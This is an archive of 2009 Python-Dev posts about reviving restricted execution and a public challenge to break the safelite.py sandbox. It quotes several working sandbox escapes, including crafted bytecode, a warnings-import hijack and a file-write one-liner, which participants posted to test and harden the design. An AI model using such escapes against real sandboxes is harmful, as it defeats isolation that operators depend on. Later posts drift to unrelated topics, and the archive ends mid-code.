Re: [Python-Dev] Reviving restricted mode?

2009-02-22 Thread tav
Hey guys,

  benjamin> Even if this patch manages to plug all the holes in the
  benjamin> current Python, do we really want to commit our
  benjamin> selves to maintaining it through language evolution
  benjamin> which will surely introduce new subtle ways to
  benjamin> circumvent the guard?

If it would be helpful, I am happy to maintain this as Python evolves.

I've already been maintaining the PJE-inspired ctypes-based approach
and monkeypatches for various Python versions for a while now. See
secure.py, secure25.py, secure26.py and secure30.py in:

  
http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

Also, my plans for world domination depend on a secure Python, so I
have the necessary incentives ;p

  sameule> I don't have much time these days, for sure not
  samuele> until pycon us, to look at the proposed code.

Thanks in advance if/when you get the time for this Samuele!

  samuele> E provides and incorporate a lot of thinking
  samuele> around [snip]

The functions based approach I am taking is very much taken from E and
inspired by an insight that Ka-Ping Yee had on Python-Dev years ago.

See http://www.erights.org/elib/capability/ode/index.html for a direct
parallel to the approach I've taken...

  guido> For Tav's benefit, I think it would be good to at
  guido> least add "IsRestricted" checks to
  guido> __subclasses__(), gi_code and gi_frame --
  guido> that's a trivial patch and if he believes it's
  guido> enough he can create a sandbox on app engine
  guido> and invite people to try to break out of it... If
  guido> someone succeeds

If someone succeeds...

...My missus might end up leaving me on account of so much crying ;p

Seriously though, it's a relatively risk-free approach. The only
person who stands to lose out is me if I'm wrong =)

In the worst case scenario, this approach would help identify other
"leak" attributes/methods -- which I'm hoping won't be found.

And, in an ideal scenario, we'd have the basis for secure Python
interpreter/programming... which, together with PyPy's sandboxed
interpreter, would seriously rock!

-- 
enthusiastically, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Reviving restricted mode?

2009-02-23 Thread tav
Dearest fellow Python lovers,

Could one of you please review:

  http://codereview.appspot.com/20051

The patch is a mere 6 lines of code and provides the absolute minimum
that is needed to secure the Python interpreter! [This patch is for
Python 2.5.4 -- I can create one for the other branches too if
wanted...]

It turns out that the __builtins__ based restricted framework is pure
genius and gives us nearly everything that's needed to secure our
beloved interpreter. This patch simply closes the two holes in 2.5.x
-- type.__subclasses__ and GeneratorType.gi_frame.
GeneratorType.gi_code would need to be restricted in 2.6 and above.

The problem with rexec and brethren have simply been that we tried to
do class-based sandboxing. This approach is filled with dark
exploitable corners. In contrast, a function-based approach gives us
security through the simplicity of the object-capability model.

Or at least I currently believe so =)

Once this patch gets through onto App Engine, I'll create an app with
a sandboxed framework built around it and you can all prove me wrong.
But, for the sake of my relationship with the missus, I hope not ;p

Please note that this patch doesn't do anything to prevent any of the
various crashers in Python. It is not the intention of this patch to
make the interpreter invincible against segfaults or exhaustion of
resource attacks. For that, I heartily recommend taking a look at
PyPy's sandboxed interpreter and/or the magic of App Engine.

In the extremely remote chance that I am right -- pigs could fly,
right? ;p -- and the sandboxed App Engine app turns out to be
impenetrable, I would like to then get approval to simplify the
current restricted execution support in the interpreter and create a
modernised equivalent of the rexec module.

Does that seem reasonable to you all?

  tav>   
http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util

  martin> What is the objective of this code? Is it a complete
  martin> sandbox? If not, is a complete sandbox based on
  martin> it available somehow for review?

Martin, sorry, not yet.

I'll code one once the patch gets through and release it for use/review.

And if people like it, it could form the basis for the modernised
rexec I mentioned above...

  krstic> http://radian.org/~krstic/sandbox.py

Thank you Ivan for that Genshi sample!

Would you be interested in working with me on the Genshi aspect for
the new sandbox framework?

  pje> Just a question, but, if you just need a pure-python
  pje> restricted environment for App Engine, why not just
  pje> use the RestrictedPython package?

I'm aware of the various Zope offerings.

Performance is the answer to your question.

Also, when it comes to security, I am a deep believer in simplicity.

Thanks again!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Reviving restricted mode?

2009-02-23 Thread tav
And, here's a version for Python 2.6+ -- diffed against an svn
checkout of the current python/trunk:

  http://codereview.appspot.com/21051/show

Please review also. Cheers!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread tav
Hey all,

As an attempt to convince everyone of the merits of my functions-based
approach to security, I've come up with a simple challenge. I've
attached it as safelite.py

The challenge is simple:

* Open a fresh Python interpreter
* Do: >>> from safelite import FileReader
* You can use FileReader to read files on your filesystem
* Now find a way to *write* to the filesystem from your interpreter

Please note that the aim of this isn't to protect Python against
crashes/segfaults or exhaustion of resources attacks, so those don't
count.

I'm keen to know your experiences even if you don't manage to write to
the filesystem -- and especially if you do!

Dinner and drinks on me for an evening -- when you are next in London
or I am in your town -- to the first person who manages to break
safelite.py and write to the filesystem.

Good luck and thanks! =)

> If you block __closure__ and __globals__ on function objects you will get a
> semblance of a private namespace. That way you might (I have not thought
> this one through like securing the interpreter for embedding) be able to get
> what you need to safely pass in Python code through the globals of the code
> being executed.

Brett, this is exactly what I do. You also need to restrict func_code.
The patch is simply for closing the other loopholes:
type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
in a patch of 6 lines of code thanks to Python's existing restricted
framework in the interpreter.

Please review and accept =)

* http://codereview.appspot.com/20051
* http://codereview.appspot.com/21051

Thanks!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
"""
Please try and break this.

On a fresh Python interpreter, do the following:

  >>> from safelite import FileReader

You should now be able to read files as you want...

Now, please try and *write* to a file on the filesystem from within the
interpreter.

Please note that the aim of this isn't to protect Python against segfaults or
exhaustion of resources attacks, so those don't count.

Let me know  or Python-Dev how your experience goes -- whether
this seems to work for you or not. Thanks!

"""

import __builtin__
import sys

from sys import _getframe as get_frame
from types import FunctionType, GeneratorType

__all__ = ['FileReader']

# --
# map funktion attribute names for python versions >= 2.6
# --

FUNCTION_PY26_ATTRS = {
'func_code': '__code__',
'func_globals': '__globals__',
'func_closure': '__closure__'
}

# --
# sekure the interpreter!
# --

def secure_python():
"""Remove insecure variables from the Python interpreter."""

from ctypes import pythonapi, POINTER, py_object

get_dict = pythonapi._PyObject_GetDictPtr
get_dict.restype = POINTER(py_object)
get_dict.argtypes = [py_object]

def dictionary_of(ob):
dptr = get_dict(ob)
if dptr and dptr.contents:
return dptr.contents.value

if sys.version_info >= (3, 0):
py_version = 2
elif sys.version_info >= (2, 6):
py_version = 1
else:
py_version = 0

for attr in FUNCTION_PY26_ATTRS.keys():
if py_version <= 1:
del dictionary_of(FunctionType)[attr]
if py_version >= 1:
del dictionary_of(FunctionType)[FUNCTION_PY26_ATTRS[attr]]

del dictionary_of(type)['__subclasses__']
del dictionary_of(GeneratorType)['gi_frame']

if py_version:
del dictionary_of(GeneratorType)['gi_code']

def secure_python_builtins():
"""Remove dangerous builtins like ``file`` and patch appropriately."""

for item in ['open', 'file', 'execfile']:
del __builtin__.__dict__[item]

def null(*args, **kwargs):
pass

import linecache
linecache.open = FileReader

import site
site.file = FileReader

__builtin__.__import__ = null

# --
# pseudo-klass-like namespase wrapper
# --

class NamespaceContext(type):
"""A Namespace Context metaclass."""

def __call__(klass, __getter):
for name, obj in __getter:
setattr(klass, name, obj)
return type.__call__(klass, __gette

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread tav
Hey Brett,

> Ah, OK. I just quickly looked at your patches on codereview and noticed that
> neither __closure__ or __globals__  have been touched.

Those are already restricted by Python when __builtins__ is not the
same as the standard one.

> I assume you are worried about getting a hold of the code type and
> constructing code objects from scratch?

Right. And, func_code is restricted too so didn't need any additional support.

>> Please review and accept =)

> I personally don't have the time. The feedback in this email is all I can
> spare.

That's cool -- thanks for this much!

I'm hoping someone out there has a few spare minutes.

The patch is just 6 lines of code...

Someone? Pretty please? =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread tav
Woo!

  victor> >>> file('0wn3d', 'w').write('w00t\n')
  victor> Cool. It's a good reason to go to Pycon UK this yeak ;-)

Thank you so much Victor! Please mail/phone me when you are heading to
London and I shall honour the evening out!

Now, how about this adapted version without reload?

I could make life much easier for myself by just removing all builtins
except the fundamental types, but this is way more interesting!!

Please continue the challenge the same as before, but with the new safelite.py

  steven> If you really want people to try and break it, I
  steven> suggest you send it to c.l.py

Done.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
"""
Please try and break this.

On a fresh Python interpreter, do the following:

  >>> from safelite import FileReader

You should now be able to read files as you want...

Now, please try and *write* to a file on the filesystem from within the
interpreter.

Please note that the aim of this isn't to protect Python against segfaults or
exhaustion of resources attacks, so those don't count.

Let me know  or Python-Dev how your experience goes -- whether
this seems to work for you or not. Thanks!

"""

import __builtin__
import sys

from sys import _getframe as get_frame
from types import FunctionType, GeneratorType

__all__ = ['FileReader']

# --
# map funktion attribute names for python versions >= 2.6
# --

FUNCTION_PY26_ATTRS = {
'func_code': '__code__',
'func_globals': '__globals__',
'func_closure': '__closure__'
}

# --
# sekure the interpreter!
# --

def secure_python():
"""Remove insecure variables from the Python interpreter."""

from ctypes import pythonapi, POINTER, py_object

get_dict = pythonapi._PyObject_GetDictPtr
get_dict.restype = POINTER(py_object)
get_dict.argtypes = [py_object]

def dictionary_of(ob):
dptr = get_dict(ob)
if dptr and dptr.contents:
return dptr.contents.value

if sys.version_info >= (3, 0):
py_version = 2
elif sys.version_info >= (2, 6):
py_version = 1
else:
py_version = 0

for attr in FUNCTION_PY26_ATTRS.keys():
if py_version <= 1:
del dictionary_of(FunctionType)[attr]
if py_version >= 1:
del dictionary_of(FunctionType)[FUNCTION_PY26_ATTRS[attr]]

del dictionary_of(type)['__subclasses__']
del dictionary_of(GeneratorType)['gi_frame']

if py_version:
del dictionary_of(GeneratorType)['gi_code']

def secure_python_builtins():
"""Remove dangerous builtins like ``file`` and patch appropriately."""

# thanks Victor Stinner!

for item in ['open', 'file', 'execfile', 'reload']:
del __builtin__.__dict__[item]

def null(*args, **kwargs):
pass

import linecache
linecache.open = FileReader

import site
site.file = FileReader

__builtin__.__import__ = null

# --
# pseudo-klass-like namespase wrapper
# --

class NamespaceContext(type):
"""A Namespace Context metaclass."""

def __call__(klass, __getter):
for name, obj in __getter:
setattr(klass, name, obj)
return type.__call__(klass, __getter)

def __str__(klass):
return 'NamespaceContext%s' % (tuple(klass.__dict__.keys()),)

def _Namespace():

__private_data = {}

def Namespace(*args, **kwargs):
"""Return a Namespace from the current scope or the given arguments."""

class NamespaceObject(tuple):

__metaclass__ = NamespaceContext
__slots__ = ()

def __new__(klass, __getter):
return tuple.__new__(klass, __getter)

ns_items = []; populate = ns_items.append

if args or kwargs:

frame = None

for arg in args:
kwargs[arg.__name__] = arg

for name, obj in kwargs.iteritems():
if isinstance(obj, FunctionType):
populate((name, staticmethod(obj)))
else:
populate((name, obj))

else:

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
> I take it back, we need to find all the trivial ones too.

Agreed!

> BTW Tav, you ought to create a small website for this challenge. A
> blog post or wiki page would suffice.

Done.

http://tav.espians.com/a-challenge-to-break-python-security.html

Please blog/retweet and of course, try the challenge yourselves =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Reviving restricted mode?

2009-02-23 Thread tav
Hey Martin,

>> The patch is a mere 6 lines of code and provides the absolute minimum
>> that is needed to secure the Python interpreter!
>
> Unlike Guido, I'm not quite willing to your word for it.

You are right. Sorry, I was a bit too enthusiastic and overstated the case.

How about: "it could possibly enable a secured Python interpreter" ?

> OTOH, the patch looks harmless (with minor corrections). It could
> be considered a bug fix for the current set of restricted attributes

Yes, and it is in that light that I would like the patch to be accepted.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
  guido> >>> class S(str):
  guido> ...   def __eq__(self, o): print o; return 'r' == o
  guido> [snip]

Very devious -- @eichin and Guido!

You guys get the price for the cutest exploit yet -- but sadly no
dinner or drinks -- that was just for the first crack -- which goes to
Victor =)

  steve> Don't I remember the previous restricted module dying a
  steve> similar "death of 1,000 cuts" before it was concluded
  steve> to be unsafe at any height and abandoned?

Steve, this isn't death by a 1,000 cuts. What's being put forward here
is not a specific implementation -- but rather a specific model of
security (the object capability model) -- which has been proven to be
foolproof.

The question here is whether Python can support that. And, my belief
is that it can.

Besides the really nice __eq__ hack, the other exploits so far are
just an inappropriate setup of the environment -- the trick with
object capability is *ensuring* that unsafe references aren't passed
to untrusted code.

In an earlier version of safelite, I even returned the actual file
object when f.close() was called... oops! But that doesn't invalidate
the model or the possibility of using it in Python.

What would invalidate it is someone finding a way to bypass it
completely in Python and this challenge is an attempt to see if we can
find such a way.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread tav
Hey all,

  victor> Could you keep all versions of safelite.py?

I took Steven D'Aprano's advice and added a VERSION attribute and
state the latest version on
http://tav.espians.com/a-challenge-to-break-python-security.html

Is that okay?

  antoine> I guess Tav should open a restaurant :-)

Hehe!! Thankfully I only offered to it to the first person *phew!*

  farshid> It seems like some code in safelite passes
  farshid> a file object to isinstance. By overriding the
  farshid> builtin isinstance function I can get access to
  frashid> the original file object and create a new one.

Farshid, this is beautiful!!!

Thank you -- it's very nicely done!!

Do you have a website I could link to from the blog article?

  guido> I think in the next version Tav will have to stop
  guido> the sharing of __builtins__ between the supervisor
  guido> and the sandboxed code. There are too many
  guido> tricks you can play with this.

Done.

The common pattern that arised out of the various
builtins-overriding-hacks is that "safe" code should *never* make
assumptions about the state of the globals. The use of closures seems
to fix this problem with an easily-auditable design pattern.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
Hey Victor,

You definitely got to the heart of the challenge.

> f.tell.__getattribute__('func_closure')

But, have you actually run that code?

Cos that doesn't work here... sorry if I missed something...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread tav
  guido> I can access the various class and metaclass objects
  guido> easily [snip]

It would've been possible to replace __call__ on the metaclass --
which, though not a security leak by itself, could've been abused for
some fun.

I've inlined the __metaclass__ to prevent fun of this kind.

But the really tricky one so far is this hardcore hack that Paul
Cannon emailed in:

>>> from safelite import FileReader
>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 
>>> 2, 4, 67, 
>>> 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
>>>  (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, 
>>> (TypeError,))
>>> try:
...   FileReader('foo', 2)
... except:
...   pass
...
>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

He explains it in detail here:
http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html

It's very cool!

He uses the ``compile`` builtin to get hold of the CodeType and then
uses that to construct a nifty function with custom bytecode. Turns
out that with the bytecode one can grab traceback objects off of the
stack!!

And, from there, it's just a mere attribute access away to get hold of
traceback.tb_frame!

Paul, wisely, outlines the two possible options to remedy this:

1. Remove ``compile`` from the safe builtins
2. Take out ``tb_frame``

If compile is not present and given that func_code and gi_code are not
present -- are there other ways of getting at the CodeType? If there
aren't then getting rid of compile gives us an easy win.

If getting rid of tb_frame is the approach -- then you were right
Guido -- there are more variables which need to be restricted! But,
this just makes the patch into 7 lines of code instead of 6, so I'm
still happy =)

The only thing I can't figure out is how to get rid of the attribute
using ctypes for the safelite challenge as calling
dictionary_of(TracebackType) in safelite.py presents a very minimal
{'__doc__': None}

Also, the comments in Lib/types.py states:

# In the restricted environment, exc_info returns (None, None,
# None) Then, tb.tb_frame gives an attribute error

I can't seem to find the place in the Python source where exc_info()
behaves differently under restricted mode...

Thoughts on which of the two options is better would be very appreciated!

And thanks for the ongoing hacks guys -- this is turning out great!!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Daniel emailed in the exploit below and it is pretty devastating. It
takes advantage of the fact that the warnings framework in 2.6+
dynamically imports modules without being explicitly called!!

I've fixed this hole in safelite.py, but would be interested to know
if there are other non-user-initiated dynamically imported modules?

Thanks Daniel for bringing this to our attention!


On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz  wrote:
> Here's my attempt. Uses the builtin warnings module.You might need to
> change 'args[1]' to 'args[2]' depending on your environment.
>
> I really don't like to post these to public MLs, but feel free to do
> so if you think no harm may arise from this one ;)
>
> Daniel
> 
>
> from safelite import FileReader
>
> # Let's build a fake module
> warnings = __builtins__.__class__('warnings')
>
> # Fill it with deception
> warnings.default_action = "ignore"
>
> # And provide a supporting thug
> def __import__(*args):
>    try:
>        print "How nice:\n", args[1].keys()
>        global sys
>        sys = args[1]['sys']
>
>    except Exception, v:
>        print "Exception:", v
>    return warnings
>
> # Put the bogus module at the doorstep...
> __builtins__.warnings = warnings
>
> # and have the thug replacing the doorman
> __builtins__.__import__ = __import__
>
> # An unsuspecting costumer passes by...
> FileReader('safelite.py').seek(1.1)
>
> # ... and is brutally mugged :)
> print sys
> print dir(sys)
>



-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
  antoine> You'd better make __builtins__ read-only, it will
  antoine> plug a whole class of attacks like this.

I tried to put this off as long as I could to try and unearth
interesting attacks.

But unfortunately I couldn't figure out a way to fix the warnings
approach used by Daniel without doing this -- so from v7 __builtins__
isn't shared any more.

The good thing is that we won't have more of the __builtins__ class of
attacks -- the flip side is that we might be closing the door on
discovering some really interesting gems...

  andrew> I can look up the stack frames and get
  andrew> "open_file", which I can then use for whatever I want.

Ehm, thanks for taking the time to implement that Andrew.

But the challenge was about doing `from safelite import FileReader`.

I specifically stated that form over the openly exploitable `import
safelite`... so, sorry =(

You have to remember that this isn't the way that this code will
actually be used in practise. This is just a challenge to see if the
model holds...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Nick,

> Given the context manager hack I just sent you (similar in spirit to
> Paul's, just using a context manager's __exit__() method to get hold of
> the traceback instead of hacked bytecode)

Thanks for this -- very cool!

> I think we can safely say that tb_frame has to go.

I've fixed this in v8 -- got a website that I can link to for the blog?

And instead of trying to make tb_frame go away, I'd like to add the
following to my proposed patch of RESTRICTED attributes:

* f_code
* f_builtins
* f_globals
* f_locals

That seems to do the trick...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Python jail: whitelist vs blacklist

2009-02-24 Thread tav
Hey Victor,

> Today it's clear that tav's jail is broken.

Forgive me as I'm sleep deprived, but no =)

> Many hackers proved how to break it.
> Fixing each hole is maybe not the good solution.

The aim of this challenge has been to:

1. Validate the functions-based approach
2. Verify if the proposed set of new attribute RESTRICTIONs are enough

As such, it has been important to ensure that we have as large an
attack surface as possible.

And given how trivial it has been to fix the bugs, the functions-based
approach seems to be holding up =)

And as for the attributes needing to be restricted, we've discovered
that we need to restrict the f_* attributes of frameobject along with
the initial type.__subclasses__, gi_code and gi_frame.

> A better approach would be to create a new world (namespace) from an empty
> namespace and then add our "secure" functions/types using strong validations
> (using a whitelist instead of a blacklist).

Sure -- you are absolutely right about using a whitelist approach.

safelite.py is just for the challenge... to demonstrate that the
functions-based approach could possibly lead to securing the Python
interpreter and to verify that we've restricted the necessary
attributes.

Once the patch gets accepted, we can start creating a fresh world
built up from an object capability base =)

> In CPython, we may use proxies on anything to check all operations.
>  jail   -- validations --> real world
>  jail <-- proxy objects -- real world

Ehm, I'd strongly discourage any approaches using proxies. The
performance penalties will just be insane.

If you really want one though -- check out Zope proxy. It already
implements this quite well and you can use it today! =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread tav
Hey Andrew & Victor,

  tav> But the challenge was about doing `from safelite import FileReader`.

  Andrew> Though it doesn't say so on the first post on this thread
  Andrew> nor your page at
  Andrew> http://tav.espians.com/a-challenge-to-break-python-security.html

Sorry, perhaps I should have clearly instructed NOT to do `import safelite`.

I thought the following text would have been clear enough:

  Open a fresh Python interpreter and do:
  >>> from safelite import FileReader

But I can see how that might not have been enough. I'll amend the
second line to:

  >>> from safelite import FileReader # AND NOT ``import safelite``

Would that be clearer?

  Andrew> I haven't been watching this discussion closely
  Andrew> and I can't find mention of this

Sorry, the discussion has been meandering. It started on:

* http://code.google.com/p/googleappengine/issues/detail?id=671

Then went onto:

* http://codereview.appspot.com/21043/show

And finally ended up here on Python-Dev to get approval for the patch.
And in the process of getting the approval, the safelite challenge
started...

  Andrew> is the goal to support only 2.x or also support
  Andrew> Python 3? Your model seems to assume 2.x
  Andrew> only, and there may be 3.x attacks that aren't
  Andrew> considered in the challenge.

The model is suited for both 2.x and 3.x. The safelite test on the
other hand is targeted at 2.x (starting from 2.5).

You have a point with regards to there being 3.x attacks being out
there. Perhaps we can get a 3.x compatible version of safelite out?

  tav> And instead of trying to make tb_frame go away, I'd like
  tav> to add the following to my proposed patch of
  tav> RESTRICTED attributes [snip]

  Andrew> which of course would make the above no longer work.

The challenge helped identify those attributes. And will hopefully
identify any other "leak" attributes which may still be there.

  Andrew> A goal is to use this in App Engine, yes?

Yes.

  Andrew> Which uses cgitb to report errors? Which needs these
  Andrew> restricted frame attributes to report the values of
  Andrew> variables when the error occurred?

The frame attributes will still be accessible by cgitb. Python's
existing IsRestricted framework in the interpreter will take care of
that.

It's genius!!

  Victor> We should be able to restore the original environment.
  Victor> Example:

  Victor> jail(evil_func)  # called in the jail
  Victor> # unsafe environment with __subclasses__, f_code, etc.

Hmz, Python's IsRestricted already enables this.

I think it's time that I wrote some documentation that Martin wanted
explaining Python's already existing IsRestricted support.

Besides a few lines here and there, there seems to be no comprehensive
documentation on this that I can find anywhere. And I think this may
be the cause of much confusion?

Would that help?

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Paving the Way to Securing the Python Interpreter [Detailed Summary]

2009-02-25 Thread tav
Dear fellow Python lovers,

I have written up a detailed summary on:

  http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html

Please read it.

In the article I give the rationale for my patch, which I've updated at:

* http://codereview.appspot.com/20051/show

Please review it. Consider it as simply a bug fix for the current set
of restricted attributes in Python.

In the article I also provide some much needed documentation on
Python's existing restricted execution framework. Martin asked for
this.

Fell free to adapt the documentation into Doc/ articles. You can find
the reStructuredText source of the article at
http://github.com/tav/blog/tree/master

Many thanks to everyone who took part in the challenge -- it was very
informative and fun!

Please let me know what else I need to do to get the patch accepted. Thanks!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Ruby-style Blocks in Python [Pseudo-PEP]

2009-03-08 Thread tav
Hey all,

Apologies for bringing up an old issue, but I think I've worked out a
Pythonic syntax for doing Ruby-style blocks. The short of it is:

with employees.select do (emp):
if emp.salary > developer.salary:
return fireEmployee(emp)
else:
return extendContract(emp)

I explain in detail in this blog article:

  http://tav.espians.com/ruby-style-blocks-in-python.html

It covers everything from why these are useful to a proposal of how
the new ``do`` statement and __do__ function could work.

Let me know what you think.

My apologies if I've missed something obvious. Thanks!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] CPython in the web browser under Native Client

2009-06-17 Thread tav
Hey Mark,

> http://lackingrhoticity.blogspot.com/2009/06/python-standard-library-in-native.html

Really glad to see that you carried on with this -- great work!!

I guess the elders will simply say that it's history repeating itself,
but Grails 2.0 is looking promising! We can finally give that upstart
Javascript a run for its money (despite ES5 looking nice...) -- not to
mention Google Wave/Opera Unite/etc.

Now, the real blocker is accessing the DOM from Python. I haven't
looked into the source code deeply, but perhaps Kroll could be of
help:

* http://github.com/jhaynie/kroll/tree/master

I was able to do the following with Titanium Desktop (which uses it)
to access the DOM from Python:


  def hello(s):
  document.getElementById('foo').innerHTML = s

 Hello World
hello("tav")

More relevant links:

* http://www.appcelerator.com/
* http://github.com/appcelerator/

Anyways, I'm sure others might have a better idea of integrating
Python and the DOM.

Well done again!

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] object capability; func_closure; __subclasses__

2007-06-27 Thread tav
rehi all,

I have been looking at the object capability + Python discussions for
a while now, and was wondering what the use cases for
``object.__subclasses__`` and ``FunctionType.func_closure`` were?

I don't see __subclasses__ used anywhere in the standard library. And
whilst I can see exposing func_closure as being useful in terms of
"cloning/modifying" an existing function, isn't it possible to do that
without making it introspectable?

Years ago, Ka-Ping Yee pointed out:

  http://mail.python.org/pipermail/python-dev/2003-March/034284.html

Derived from this we get:

# capability.py functions

def Namespace(*args, **kwargs):

for arg in args:
kwargs[arg.__name__] = arg

def get(key):
